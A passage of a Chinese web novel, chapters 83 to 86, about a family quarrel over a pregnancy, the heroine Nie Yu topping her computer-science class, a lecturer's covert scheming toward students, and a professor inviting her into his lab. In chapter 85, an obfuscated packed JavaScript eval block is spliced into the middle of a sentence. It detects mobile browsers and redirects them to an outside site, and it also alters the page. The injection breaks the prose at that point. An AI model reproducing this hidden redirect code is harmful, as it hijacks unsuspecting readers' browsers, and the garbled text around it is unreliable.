让他在曾经谈婚论嫁的女人面前对她低三下四,甚至还要捎带上她一起?他宁愿离婚! “你说的这些我能做到。”聂杰英站起来,说,“但不要叫周洁来了。我已决定不再跟她有任何联系,你这样做,岂不是又让我跟她藕断丝连了?这对我们谁都不好。” “你这个理由找的可真好,终究是舍不得还是不想再有联系,你自己心里最清楚!”蒋晓先瞪他一眼,又说,“反正我只有这一个条件,不会做任何让步,就看你如何抉择了。” 蒋晓先说完,在一旁沙发上坐了下来,双手抱胸,神态自若。聂杰英仍站在原地,双手攒成拳头握了又握,最终在母亲哀求的注视下松开了,然后他走到蒋晓先面前,蹲下。 “晓先,我是真的知错了。我现在非常想跟你好好过,我也有信心我们能过好,你就看在咱俩感情的份儿上,别折腾了行么?不就是保证书么,我给你写,要多少有多少,行不行?” 聂杰英说着,手攀上了蒋晓先的腿,轻轻一摇。蒋晓先回转目光,凝视他片刻后,将他的手狠狠从自己的腿上抹开。 “聂杰英,你现在越求我,越让我觉得你放不下周洁。我这要求过分吗?难道这面不是你俩一起见的?我为什么不能要求她来给我发誓保证?你不要欺人太甚!” 从理性层面,蒋晓先知道自己如果还想留下的话,应该“见好就收”。但她一见聂杰英站在周洁那边说话,就恨得牙痒。甭管她之前有多少错处,至少在这件事上她是绝对的无辜,所以凭什么要她退让呢?蒋晓先一咬牙,决定不能那么轻易放过他,至少要一家人上阵哄她求她,她再“收回成命”。然而,聂杰英却是无法忍受了,他还从没这般窝囊过! “蒋晓先,你别太给脸不要脸了!我一个大男人,已经在你面前颜面全无了,你还想怎么样?不就是离婚,行,离!” 这话一出,在场的这么多人当中,至少王盈的心是碎了。她没想到眼见着要和好了,儿子居然又搞砸了。 蒋晓先是有些愕然的,因为现在的聂杰英表现得前所未有的硬气,而这份硬气,居然是为了另外一个女人? 也不知是气的还是难过,亦或是太久没吃饭了。蒋晓先感到一阵眩晕,她看着聂杰英,缓缓站起来,只来得及说出一个“你”字,就白眼一翻,仰躺进了沙发里。 客厅里的氛围凝滞一秒,然后瞬间乱作一团。 - 这一夜,两家人算是彻底不能安生了。只有谢静芳老太太能躺下歇息片刻,但也仍是早早就醒了。她起身去主卧里探看,发现里面空无一人,床铺也没有任何躺过的痕迹,便晓得事情不妙。她急忙想给孟京阳去个电话,还没找出电话本子来,客厅的座机就响了,她立刻过去接起。 “奶奶,是我。” 电话那头,传来聂宇有些疲惫的声音。 “我估摸着您大概醒了,看见我和京阳不在应该会担心,所以给您去个电话。什么事儿也没有,您别担心,我们一会儿就回去,顺便给您带早饭。” “你现在在哪儿?”老太太压住心中的担忧,问道。 “我们现在在医院。”孟京阳接过去说,“晓先昨晚情绪太激动晕倒了,送来医院一检查,说是有孕了,八周左右。” “有孕……”谢静芳的脑子缓缓转着,“晓先怀孕了?” “对。”孟京阳应一声,“虽说她昨晚晕倒了,但医生检查过后说没有大碍,大概是因为她昨天没怎么吃东西,一时有些体力不支。医生已经给用药了,我和澄澄这会儿就在外面守着,等她大概平稳下来我们就回去,您老别担心。” “好。”谢静芳说,“你们慢慢回来吧,家里还有吃的,我饿了就先自己做点儿。” “行,那您注意用火安全。” 挂了电话,谢静芳久久站在原地,不知道在想什么。而这边的聂宇,靠着孟京阳的肩头,也是一言不发。 趁着刚才孟京阳讲电话的时候,她去病房看了蒋晓先一眼。人已经醒了,正在丈夫一家的包围下,缓慢地接受着现实。看脸上的表情是有几分惊喜的,但又因为昨天的冲突,一时有些无措,仿佛脑子短路了似的。 聂宇晓得,按照她原本的计划,这个时候蒋晓先应该是最开心的,毕竟可以借着怀孕回燕城了,理由一找一大堆。但这个孩子来的不是时候啊,它的爸妈都吵到快要离婚了。 孟京阳看聂宇有些蔫蔫的,不由抬手将她揽进了怀里:“我们进去跟大爸大妈说一声,然后开车回家?” “好啊。”聂宇点点头,但是没有动。 孟京阳低眉看她片刻,说:“是不是感觉心里不太舒服?” “有一点儿。”聂宇说,“但不是因为我自己,而是——” 当初和昨晚的事孟京阳都是见证人,聂宇怕他误会自己是因为蒋晓先有孕可以回燕城而不开心。 “不用解释。”孟京阳打断她,“我知道你是为了大爸一家,还有奶奶。眼下这种情况,你哥和晓先离婚是最明智的选择,对双方都好。再有意难平,搭进去的也不过是半年而已。但现在有了孩子,搭进去的可能是彼此的一生。” “是啊。”聂宇颇有些感触地抬头望向他,昨晚孟京阳从进屋之后就没怎么说过话,没想到他却看得这么清。 “昨晚我进去之后根本就没劝蒋晓先,只说可以带她走。但她——”沉默几秒后,聂宇喟叹了声, “其实父母不相爱最可怜的还不是他们本人,而是孩子。” 孟京阳心倏地一跳,低下头,与聂宇对视。果不其然,他从她的眸中看到了一丝茫然和痛楚。 “想到你自己了?”他低声问。 “你不觉得有点像么?”聂宇苦笑反问,“同样的地位和差距,现如今他们又闹成这样。” “还是不太一样。”孟京阳说。至少在他看来,他们养不出第二个聂宇来了。 “走吧。”聂宇让自己打起精神来,不做那个伤春悲秋之人。毕竟那是他人的命运,她能做的也就这些了。 “我饿了,咱们回家。” “好。”孟京阳握住她的手。 41.83-85 -83- 很快,蒋晓先怀孕的消息就传遍了各家。除了聂宇二妈之外,并无一人真心向他们道喜,甚至聂宇的姑姑聂传溪根本就当做没这回事。 王盈心里难免会犯嘀咕,但当下她正在兴头了,还来不及找人“算账”。至于聂杰英和蒋晓先俩人,在得知怀孕之后迅速地重归于好。一个再也不提离婚,另一个举手起誓会一辈子对她们娘俩好,还动摇了心思,真打算叫上周洁来一起在蒋晓先面前写保证书。 蒋晓先自然是体贴地表示“算了”。并非是她多大度,而是现在回燕城有望,一想到日后这两人再也没有来往的机会,便正好做个顺水的人情,挽救一下自己在丈夫心中岌岌可危的形象。 然而所有的矛盾和龃龉真就能一笔勾销吗?答案是未必。当下的幸福是真的,可等到夜深人静的时候,想起彼此在气急时向对方放出的狠话,难免不会意难平。等到哪一天他们再度被生活的波澜给淹没的时候,这些事情便成了被频频翻起的旧账,成了他们婚姻生活里那道时时被揭开的疮疤。至于这道疮疤最后是愈合还是化脓腐烂被当做一块坏肉剜去,端看这两人的造化了。 聂宇在从医院回来的当天,就恳请奶奶这一次同他们一起回燕城。虽说两人现在住的这个房子不算大,再多一个老人也是绰绰有余。然而奶奶又一次拒绝了她,不同的是,这一回老太太不是为了别人,而是为了她。 “你们两个才结婚,正是感情最好的时候,我去了之后处处需要你们顾及,这多不合适?”老太太不紧不慢地表示,“你真以为这些天我没察觉到京阳的束手束脚吗?我可不想追到燕城去再给你们当电灯泡。” “奶奶。”聂宇脸红了。有些事大家心照不宣是一回事,讲出来又是另外一回事,她可没有那么强大的脸皮。 “还有。”老太太笑着嗔她一眼,继续说道,“你和京阳两人,一个天天忙着在学校上课学习,一个整日在部队里忙着工作,都不怎么着家。那我去了算怎么回事?给你们充当看家老太?” 说到这里,老太太被自己的形容逗笑了,捂嘴乐了会儿又说,“澄澄,你放心,奶奶这辈子最不放心你,以后肯定也是离不开你的。但不着急,咱们再等等,等你毕业了,有稳定工作了,能日日回来让奶奶见着人了,奶奶再去陪你。到时候你和京阳也该有孩子了,奶奶正好帮你们带孩子,这不两全其美吗?” “往后您岁数越来越大,是该享福的年纪了,哪里还会让您帮忙带孩子。”聂宇咕哝道,却也接受了奶奶的“歪理”,“那就再等等,等我毕业参加工作以后,就立刻把您接到燕城来,以后我给您养老。” “成嘞。这辈子奶奶赖定我的小羽毛了。” 祖孙俩人说着笑拥到了一起,此刻的她们谁也没有料到,世事变化之快,根本容不得她们过早地去计划和憧憬。 - 因为“意外怀孕”这一喜事,今年的元宵聚会被迫取消了,理由是蒋晓先要养胎。聂宇和谢静芳正乐得清静,到了这天将聂传溪和一双儿女叫来,一家人热热闹闹地吃了顿饭,饭后又各自吃了碗圆滚滚的元宵,算是将这个春节过完了。 元宵过后的第三天,正月十七,聂宇和孟京阳启程回燕城。兴许是看在他们两人劝架有功以及及时帮忙送蒋晓先去医院保住孩子的份儿上,这天送行的人除了姑姑聂传溪和奶奶之外,大爸两口子也来了。尤其是王盈,上来就握住聂宇的手,亲的跟什么似的。 聂宇见惯了王盈的变脸,没太当回事。敷衍完她之后,聂宇笑着同姑姑和奶奶抱了抱,又叮嘱了她们一番此前不知道说过多少遍的话,才和孟京阳一道依依不舍地上了车,开车离去。 从头至尾,聂宇的情绪都看似很稳定,因为她此次离开并不是孤身一人,在燕城还有一个属于她和孟京阳的家在等着她。但在后视镜里看着奶奶和姑姑的身影渐渐变小,直至不见,她的心里仍是不舒服,情绪几经翻涌,化作热泪,沾湿了她的眼角。 孟京阳这时才觉得她像一个二十出头的小姑娘了,情绪说来就来,还这般热烈未经克制。等红灯的时候,他停稳车子握住了聂宇的手,俩人目光对上,他眼中的这个小姑娘一下子就拥了上来,埋首在他怀中,暗暗地抽着鼻子。 孟京阳只能极快地安抚一下她:“等到我们都稳定下来,就立刻接奶奶过来。还有姑姑、乐乐和天天,你想让谁来谁就来。” 聂宇闷闷地嗯了一声,说了句:“不要林天天,这小子现在有点儿讨厌。换我姑父来。” 孟京阳不由笑了,待绿灯亮起,他垂眸在她发心上吻了一下,松开她继续开车。 等到了秦城之后,聂宇的情绪已经恢复如初。两人在这里逗留了一晚,狠宰了应烽一顿,第二天坐飞机回了燕城。 - 回到燕城之后,之前熟悉的生活氛围又扑面而来。而在脱离了老乡的环境影响之后,聂宇才想起问孟京阳此次旬城之行的感想。 与先前聂宇设想的那种孟京阳走到哪里都是众星捧月的场景有所不同,这一次的他十分低调,除了必须要进行的社交之外,他大多时候都是安静的,不问世事,只一味地享受他们这个小家的生活。而她原先以为孟京阳是不屑于理会他们这些红尘中人生活中的那些鸡毛蒜皮的,没想到他应付的也不错。总而言之,聂宇对他这次的表现很满意。 不满的是孟京阳,因为—— “你把我架的太高了,在我的自我认知里,当俗人也没什么不好。至少——”孟京阳说着,分开抬起聂宇的腿,“做这事儿挺快乐的。” 聂宇快被一侧床上那一晃一晃的影子晃晕了眼,不一会儿身体里积累的快乐超出了她的承受范围,她揪住某人的胳膊。 聂宇终于有些不忿了,因为她没想到回来的第一件事居然是还“床债”。而某人嘴上批评着她把他“架太高”,手上的动作却是很实诚——直接把她的腿搭上了他的肩膀。 到底是谁把谁架的高?努力做到言行一致,ok? 聂宇没辙了,轻咬手指,臊眉耷眼地任某人施为。 - 就这样没羞没臊地过完了剩下的最后两天假期,孟京阳人模人样地换上军装,去了部队。临走前他向聂宇打预防针,说上半年有场大演习,估计会很忙,他会抽空回来看她。 聂宇连挥手的力气都没有,送走了这个大债主之后,她一口气睡了将近二十个钟头,然后赶在开学前的最后一天,回到了学校。 收假回来,宿舍里的每一个人脸上都洋溢着轻松的快乐,在叽叽喳喳地跟彼此分享假期里发生的趣事,顺便分发着带回来的特产。聂宇由于是最后一个到的,桌子上已经堆了不少,她一一问过去,给她发东西的有冯瑛、鲁静、田舒云、宁露和李晓晓。也就是说,每个人都有份儿。 新年新气象,大家的关系也都重新开始了。聂宇觉得自己也不能吝啬,便将带回来的秦城小零嘴给每人分了一份儿,口急如冯瑛者,拿到就拆开送进了嘴中,吃完之后给了聂宇大大的好评。 宿舍的氛围像是回到了刚认识的时候,彼此之间融洽的仿佛没有一丝矛盾,直到有人提及期末考试的成绩。 科大的成绩是年后来通报的,说是为了让学生们过个好年,实则有些考不好的会一直忐忑到拿到成绩单的那一刻。所以为了能休一个真正轻松的假期,也为了来日能顺利毕业,大多数人都会认真复习应对考试,这一公布成绩的方式某种程度便也成了科大“劝学”的策略之一。 这会儿田舒云已经接到通知去取成绩单了,而聂宇则是吃着零食听着大家谈及对成绩的期待或者不安。 “希望我的高数和计算机技术概论能顺利及格,尤其是技术概论,这可是专业课,挂了我就完蛋了。” 冯瑛送进嘴里一块儿零食,口中祈祷着。 计算机专业四个女生当中,冯瑛的基础是最差的,她打小生活在一个落后小山村中,即便是后来上了县里的高中也仍没机会摸到电脑。在上学期第一节实操课中,冯瑛便斩获了“女杀手”的“荣誉称号”,因为她只会点击页面不会关,以至于运行的程序太多直接把电脑憋死机了。 下来之后,大大咧咧如冯瑛也哭了。从小在各门科目中都十分拔尖的她,第一次觉得自己像个傻瓜。而导致她变傻的“罪魁祸首”,就是她选的这个破专业,这个破计算机! “及格我觉得你应该没问题,我看你求的应该是考第一吧,这样就能获得林老师的额外奖励喽。”鲁静调侃冯瑛道。 科大每个专业都对前几名的学生设有奖学金奖励,除此之外,去年在考试前,林虹岩为了鼓励他们积极备考还设置了一个额外奖励,由他本人出资,发给男女生中考的最好的那一位。 林虹岩当时就说了,之所以按性别设置奖励,是因为计算机专业男生太多,公平起见,就采取男女生分设的方式,一边一个。 那时不少人听了他的话,都夸他考虑周到,但聂宇却隐隐感到一点不适。身为女生,她感到无形中好像被人看低了。不就是下意识觉得她们女孩子竞争不过男孩儿,所以才做这样的安排吗? 虽是好意,但还是无法掩饰思维里的刻板认知。 “算了吧,要说第一你还有戏,我只要不是倒数第一就行啦。” 冯瑛一挥手道,鲁静听了笑笑,一侧头,脸颊微红。她确实想考第一名,获得林老师的额外奖励,不是为钱,而是为他额外的青睐。 聂宇听两人聊来聊去,觉得没自己什么事儿,便收拾东西打算去洗漱。结果一推门,差点儿撞上疾步回来的田舒云。 “哟,小宇,你回来了。”田舒云看见是她,先是一挑眉,而后又说,“请客啊,这回你考了第一名,还是全班第一!” -84- 田舒云话音一落,宿舍里几个人都愣住了,包括第一本人聂宇。不一会儿后,冯瑛打破了沉默,跳上前来问田舒云:“我呢我呢,我考第几啊,不会是倒数第一吧?” “恭喜你,这回发挥还算不错,全部科目都在及格线以上,其中除计算机技术概论外成绩均是良好,排名第十七。这学期继续努力哈。” 冯瑛返校以来就一直念叨成绩,田舒云当然知道她在担心什么,便如是鼓励她道。冯瑛果不其然惊叫一声,兴奋地抱住了田舒云。 要知道能进入科大的以前在高中谁不是出类拔萃的尖子生呢,如今为个十七名兴奋不已,说出去简直不要丢死人。但冯瑛不仅开心,还开心的要哭了,天知道她有多难啊,她都已经打定主意实在不行就转专业或者退学重考呢! “行了行了。”田舒云笑着摸摸冯瑛的脑瓜,又对一旁的鲁静说,“你排第六哟,有一门课还是满分呢。” 鲁静有些勉强的一笑。第六虽然也不错,但是她已经错失了女生中的第一位,无法再获得林老师的奖励了。 “你呢舒云?”宁露在一旁问,“光说别人了,你考多少啊。” “本人不才,区区第三。”田舒云说着,回过头将聂宇拉了进来,一把揽住她的肩膀,“在这里我要感谢我们宿舍的聂宇同学,如果没有她考前帮我恶补高数,我这门课估计要亮红灯喽。” “是啊是啊,小宇真厉害啊,全专业第一名!”冯瑛冲她比了个大拇指,又说,“到时候林老师的奖励到手了,你要和舒云一起请大家吃饭哈!要求不高,门口那家门钉烧饼一人一个就行!” “为什么我也要请啊?”田舒云不解地指指自己。 “因为你要感谢小宇呀,顺带就捎上我们了呗。” 冯瑛笑着说,田舒云琢磨了下居然觉得这话挺有道理,便答应了。反正独乐乐不如众乐乐嘛。 在大家的欢声笑语中,有一个人就显得有些沉默了,那就是鲁静。聂宇当然注意到了,但在这件事上,她也无能为力。别的也就算了,但学习这个事儿她是真的不能让贤。早在考前,她就笃定要斩下专业第一名了,但不是为了什么奖励,而是为了证明自己。 跟班里大多数人不同,她已经提前自学计算机一年多了,再加上大一上半学期,基本可以算是两年。在这两年里,她的学习进度和知识掌握水平已经远超同班同学,甚至可以勉强比肩大三的一些师兄姐。所以说,大一上考的这些科目对她来说堪称小儿科,她拿不下来才算奇怪。 唯一留有悬念的就是英语,考试完后她便和庄沁蕾撕破了脸,再加上有她那一句“不及格”的威胁在,聂宇觉得自己英语这门课即便不挂分数也高不了。然而她刚才看了眼详细的各科分数,发现自己英语居然打了九十二分,可算是大大出乎她的意料。由此可见,庄沁蕾并不是真正的蠢,不会在这些事情上做手脚。 收回思绪,聂宇笑笑说:“好啊,一人一个门钉肉饼,再奖励南门外涮羊肉一顿,这周末就去!” “好诶!”众人欢呼。 - 在吃完涮羊肉的第三天,聂宇才接到林虹岩的通知,要她去他办公室一趟。同去的还有张翀,他是男生中的第一。 这是继去年那顿涮羊肉后,聂宇第一次私下跟林虹岩相处。她没有过分紧张,只是在该保持距离的时候始终向张翀看齐,他如何做,她便如何做。 林虹岩倒是依旧如初,他温和笑着,给他们两人一人发了一个红包,勉力他们继续努力,再攀高峰。张翀手快看了眼红包,被里面放置的数额惊到了,他没想到林虹岩会这么大方。 “林老师,这么多是不是太破费了呀,学院给的奖励也不过如此。”张翀用手指推了推鼻梁上的眼镜框,说道。 “只此一回,就给你们俩人了。”林虹岩笑着说,“你们也知道,我现在还算在实习期,也没完全转正,是很需要学生成绩来给我加持的。这一回咱们班里的同学考的都挺不错,尤其是你们两个,一看就是下了功夫的,我很欣慰也很感谢,所以想有所表示。”一顿,“而且这钱看似是给你们了,出了这个办公室门还不是要花在全班同学身上,吃饭庆贺的地方都约好了吧?” 林虹岩以过来人的口吻打趣道,张翀果然一笑,说:“可不是么,聂宇她们几个女生都吃完了!” “哦?”林虹岩闪动着眸光看向聂宇,“这么说,小聂同学还提前帮我垫钱了?真是不好意思,这几天有点事耽搁了,这个奖励发的迟了些。” “没有没有。”聂宇笑着摆手说,“也不是只为了这个,放假回来大家都想聚一聚,找个由头罢了。” “那就好。”林虹岩颔首,“无论如何,我的心意就是这些,也只能做到这些。剩下的,就靠你们自己努力了。” “保证不辜负老师的信任!” 张翀代表两人表态道,聂宇则是用微笑附和。 “好了,不耽搁你们时间了,回去学习吧。” 林虹岩一挥手道,聂宇和张翀收下红包道过谢后转身要走,结果后者在经过林虹岩书桌的时候不小心蹭掉了一摞书。 张翀大惊,连忙俯身捡书,聂宇见状也弯下腰帮忙。 “咦?”没多久,张翀发出一声疑惑声,手里执着一张照片抬起头,“林老师,这里有一张照片!” 聂宇和林虹岩均循声望去,只见照片上有一个长发白衣女子,容貌清丽,气质淡雅。聂宇还待细看,照片就被林虹岩迅速收走了,动作里甚至带着些仓促,细看耳根也泛红了。 这不对劲!聂宇和张翀对视一眼,都意识到这其中有猫腻。 “林师兄,这个照片上的大美女是谁呀,不会是您女朋友吧?” 张翀笑问着,做好被敷衍出屋的准备,却听林虹岩“嗯”了一声。他和聂宇都有些没反应过来,两秒后,张翀又问:“真是您女朋友啊?” “很奇怪吗?”林虹岩笑着反问他们二人,“我都这个岁数了,有个女朋友不是很正常?” 正常,当然正常。只是上学期都没听他提过呢。 “我的个人私事你们也要管啊。”这话林虹岩是看着他们两人说的,聂宇听了后,不免觉得尴尬。糟糕,这误会大了。 自上次他抬手为她摘去头顶那撮疑似雪花的绒毛之后,聂宇心里一直对他有所戒备。可现在看来,人家其实是真的在关心学生,坦坦荡荡呢。毕竟——如果他真的对她有什么想法,怎么可能会当众承认自己有对象呢,随便找了个理由就敷衍过去了啊。 聂宇不由觉得脸热,心里也怨怪其某人来。都怪他小题大做,不然自己也不会出这个糗了。还好,林老师没察觉到,人家或许根本就没往这个方面想。 “不管不管。林老师,我们先走了,您的事我们也会替您保密。” 聂宇假装淡定,扯着张翀的衣袖,溜了。林虹岩将她逃也似的背影看在眼里,心想:果然。 - 自上次聚餐那一晚他冒险做了次试探后,这位名叫聂宇的女学生就开始疏远他。可能她自以为做的不动声色,却被本就刻意为之的他一下子察觉了,心中生出几分懊悔:这一步步子迈得有些大,打草惊蛇了。 当然,他并不确定一定就是聂宇本人发现的,也有可能是她那个老公孟京阳。但这更给他提了个醒,以后有什么动作都要加倍小心,因为这人十分不好对付。身为军人,他有着豹一般的敏锐直觉。 在经过一个寒假的思考过后,他想出了一个主意,正是刚刚上演的那一幕:自爆有一个女朋友,并且当着她的面毫不掩饰,由此大概可以打消她的疑惑。毕竟,谁也不会公开脚踏两只船不是吗?那样做就太蠢了。 林虹岩收回思绪,看着桌边重新垒起来那一摞书,心中长长舒了一口气。 他果然没看错张翀,这个班长哪儿都好,就是就些毛躁。可在他的计划里,这份毛躁正好为他所用,由他“不小心”将书扫落,总比他过后去推落来的更自然一些。而聂宇果然就信了,还主动提出为他保密,免去了他不少后顾之忧。 林虹岩又叹一口气,心里为自己不得不做个恶人感到可惜。可是没有办法,这是老天送来的机缘,他必须紧紧攥在手中。 “咚咚!” 忽然有敲门声传来,林虹岩回头一看,发现一个穿着米色连衣裙的姑娘从门后探出头来,在向里面张望。眸光与他相对的时候,女孩儿愣了下,似是往后瑟缩了一步,脸颊也微微泛红。 看着她这副样子,林虹岩只觉得无比熟悉。脑海里搜索一番,他很快想起了她是谁:那个代替鲁静上场打球的女孩儿,聂宇的室友——宁露。 -85- 在度过开学适应期后,聂宇又恢复了上学期的学习模式和节奏。但这一次她不是一个人苦学了,而是带上了田舒云、冯瑛和鲁静一起。 这是她们三人强烈要求的,尤其是冯瑛,简直把她当成了救命稻草一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791260|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般,发誓要跟着她“好好学习,天天向上”。至于鲁静,她在平静下来之后也承认聂宇的厉害,尤其是专业课方面。于是她便强迫自己摆正心态,加入了她们的队伍。 聂宇欣然地接纳了她们,只要不搞事,不妨碍学习,她都无所谓。且她自己也不是万能的,大家凑一起还能互相取长补短,提高效率。 不过,有一样是另外三个如何拍马也追不上的,那就是聂宇的专业水平。她们现在是大一下,专业课方面正处在打基础和逐渐由浅入深的阶段,能做出的东西并不多。但聂宇却是不同,可能是她性子偏急,亦或者她对这个领域本身就非常地感兴趣,所以从自学阶段,她就开始尝试自己写代码和调试程序,读专业期刊,研究DOS系统向win95的迁移等。经过逐年累月的积累,她现在完成一些小项目或者大项目里的小模块已经不在话下,只要给她足够的时间,她坚信自己能够啃下来。 对此聂宇没有声张,依旧是埋头苦学中。很多超出现阶段课堂水平的课题,她都是在私下自己做,不会的再去找相关老师请教。 在科大,总共有两个大机房。一个是公共机房,供全校使用,课余时间向计算机专业一二年级的学生全天开放,便于他们上机实践。另一个是专业机房,在计算机学院的地下一层,常年二十四小时开放,供高年级的学生使用。里面的电脑在去年全部换装了最新的操作系统,偶尔聂宇他们上课的时候也能过来蹭一蹭。 当然,公共机房的电脑也够用了。平常不能回家的时候,聂宇就在这儿上机,埋首在成百上千行的代码里,沉浸且专注。 某一日,在上完一节实操课之后,聂宇又留下来干自己的事。做着做着她从电脑屏幕上发现自己后面站了一个人,吓了她一跳,连忙起身回头去看。 那是一个男人,大约四五十的年纪,中等身材,穿一身简约便服。他的鼻梁上架着一个厚重的银边眼镜,镜片后的双眸正一眨不眨地盯着她的电脑屏幕在看,眉头微微蹙着,仿佛若有所思。 聂宇目光在他身上打转,脑海里同时飞快地思索着他是谁。无果之后,她只得小心翼翼地向男人询问:“您好,请问您是——” 男人直到这会儿才收回目光,看向她。但他下一句话却不是回答她的问题,而是反问:“你这是在做什么?” 聂宇眨了下眼睛,说:“呃,我在做一个课外实践,是赵老师那边推过来的项目……” “项目具体是什么内容呢?”男人又问,看起来颇感兴趣。 “嗯,其实是大四师兄师姐们的一个实习项目……” 聂宇渐渐定下心,向男人娓娓道来。男人听完一挑眉,又用反问的方式确认了遍:“所以说,是一个名为京能的厂子购买了一套数控设备,但具体的技术细节对方厂子向他们保密,京能仅要到几块只读存储器,插到电脑上一读取全是0和1之类的二进制代码,他们看不懂,便向你们要人编译,对么?” “对。”聂宇点点头,“师兄师姐他们已经开始做了,但代码太多了,京能那边的时间又卡的特别紧,所以赵老师就喊我过去帮忙。”一顿,“不收费的。” 中年男人被她的谨慎逗笑了,而后又问:“那你是怎么做的?我刚看你正在运行和调试的似乎是个反汇编程序。” 聂宇眸中闪过一丝意外:“是,其实这个程序师兄师姐们也在做,不过我想着也搞一下,到时候看看哪个效率更高。” “不错。”男人用赞赏的目光看向她,“你还在这个机房,应该只是大一大二的学生吧?就已经可以参与大四学生的项目了?” 不仅如此,这个学生还颇有想法。 “没那么厉害。”聂宇轻咳一声,有些赧然地说,“我也是站在巨人的肩膀上。” “嗯?” 男人顺着她的目光看到电脑桌上放置了一本书和好几个期刊杂志,想必她搞出来的这个程序参考了不少前人的东西。但是在她这个阶段,能做到把别人的东西顺利地为己所用,已经很不错了。更何况写代码么,谁一开始不是抄呢? 男人让她坐下,继续做自己的事。聂宇看着他背着手走远,心里犹有些纳闷:这人是谁呢? - 一星期后,聂宇得知了在机房偶遇的这个男人的“庐山真面目”,他是学院从外面请来的一位特聘教授,据说曾在部队研究所任职过,姓宋名清辉。聂宇听说之后诧异不已,心想自己是鲁班门前弄大斧了。可还没等她来得及惭愧,第二天上午她就被叫到了宋清辉的办公室。 聂宇有些不明所以,但还是老老实实地去了。这一回宋清辉不似初见般那么严肃,见了面就笑着让她坐下,还问她要不要喝水。 聂宇受宠若惊地婉拒了,眼眸亮晶晶地看着宋清辉,似乎在猜测他叫她来的用意。而宋清辉也没多卖关子,邀请她加入他的团队,做一些“有趣的事”。 “本来只在大三学生中选拔的,但那天在机房我看到你展现出的实力,觉得你很有潜力。”宋清辉说,“当然了,我这里自然也不是请客吃饭的地方,很多要做的都是苦差事。但我想对你会是一个很大的锻炼,绝对会让你不负此行。” 聂宇心口有些鼓噪。 诚然,这是一个绝佳的机会,但她不确定自己能不能胜任。再加上她现在仍是大一的学生,破例进入宋清辉的实验室会在同级中引起多大的喧嚣,这也是需要她考虑的。 “宋老师,我实话跟您说吧,之所以我能让您觉得‘有实力’或‘有潜力’,是因为我早就开始自学计算机了,到现在为止得有两年多。也就是说,我不是什么天才,我现在拿出来的其实是我这两年多的积累……” “我有说你的潜力和实力是在这方面吗?” 宋清辉笑着反问。昨天他站在聂宇身后其实观察了许久,就代码水平来说还是有些稚拙的,难得的是她思考问题的灵活头脑,以及应对困难和挑战的勇气。 “无论哪一行,能走到顶尖的肯定需要天赋。但身为基石或者中流砥柱,更多的是看一个人的意志和毅力。你基础知识不差,意志和毅力也让我见识到了,这才是我邀请你加入实验室的主因。当然了,决定权在你,我只是惜才而已。” 聂宇听他这么讲又有些泄气了。 “所以,您招我进您的实验室只是去做基石的吗?” 她的表情看上去有些失望,宋清辉见状不由得朗声一笑:“你这个小姑娘,刚还担心自己胜任不了,现在一听到要当基石又不乐意了,敢情你是跟我假谦虚呢?” “没有没有。”聂宇连摆手,“只是是个人都有些追求,您、您别生气……” “我理解。”宋清辉又放缓了声调,“但是你现在最重要的不是一飞冲天,而是脚踏实地,这是我让你做基石的用意。而且孩子,我没有那么多时间可浪费,选你过来肯定也是认可你的能力,觉得有培养的价值。但有句话说得好,师傅领进门,修行在个人。能不能走到金字塔尖,其实在你不在我,而我相比其他人的优势就在于,可以给你提供更好的条件。” “……” 不亏是军人出身,说话就是这样直接,这让聂宇想到了自家的某一位。 “好,我明白了宋教授。”聂宇说,“不过这件事对我有些突然,也有不小的挑战,我可以考虑一下再给您答复吗?”一顿,“绝不是不识抬举,我内心还是很想去的!” 宋清辉被她这前后矛盾的话又逗乐了,一挥手,说:“去吧,最迟等你到下周一。” - 当晚,聂宇回了家里,给孟京阳打电话咨询他的意见。本来不至于这么急,但她实在等不到第二天了。 孟京阳迟了会儿才给她回电话,他最近刚结束了一场演习,眼下正是复盘和总结的阶段,整个人的状态是忙又没那么忙。 聂宇在电话里告诉了他整件事的来龙去脉,孟京阳想了想,说:“这位宋教授我有所耳闻,是军科大研究院的教授,主攻信息化的,怎么到你们学校去了?” “布吉岛哇。”聂宇说,“可能是我们学校上空有祥瑞之兆,暗示这里有他想要的人才,指引着他来到这里,找到了我。” “……”孟京阳难得语塞两秒,然后笑了,“那你还犹豫什么?打这通电话是来给我显摆的是不是?” “哎呀,开个玩笑嘛。”聂宇微笑,“你怎么想呢,快帮我参谋下,孟参谋长。” “我的意见是去,人无压力轻飘飘,你现在已经有点儿这个征兆了。” “说了开玩笑!”聂宇一嗔,又说,“不过我也是这么想的。” “怎么想的?”孟京阳明知故问道。 “想去。”聂宇说,“虽然不知道到底能修炼成什么样,但走过这九九八十一劫,我肯定能收获点什么,对不对?” “倒也不必如此辛苦,实在撑不住了就退出,选择权永远在你。”而他,会永远为她兜底。 聂宇听出了他的话中之意,心中一暖。估摸着他演习应该结束了,她便问他演习的结果如何。 “输了。” 孟京阳轻描淡写道,聂宇听了却是一惊。 “输了?”她有些难以置信,“那你再见了我姥爷,岂不是要挨他训了?” “……”孟京阳没想到她的第一反应居然是这个,不由一笑,“是啊聂老师,我要挨训了,怎么办?” 42.86-88 -86- 聂宇听他的语气仿佛不是很难过,或者说那个关口已经过去了,便也用故作轻松的语调回答道:“正好给你上上压力了,免得你轻飘飘嘛。” 她笑着说,口吻中却仍留有一抹担忧的底色,孟京阳听了以后是真宽心了。 “行,拿我的话来堵我的嘴,聂老师真是有仇必报。” “对呀,我心眼小的很呢。”聂宇逗他道,过后又说,“没关系,吸取教训,卷土重来,我看好你。” “好。”孟京阳应一声,轻声道,“多谢老婆。” 有这两个字,这通电话的情绪价值算是彻底到位了,两人又聊了两句,然后才挂断电话。 窗外的夜渐渐黑了,春天的气息透过纱窗似有似无地飘了进来,孟京阳闻着淡淡的花香,长出一口气,整个人松散下来。 身为输家,最近的演习总结并不轻松。但这是一个必经的过程,他只有按捺再按捺才能等来想要的结果——演习有三轮,这才是刚开始呢。 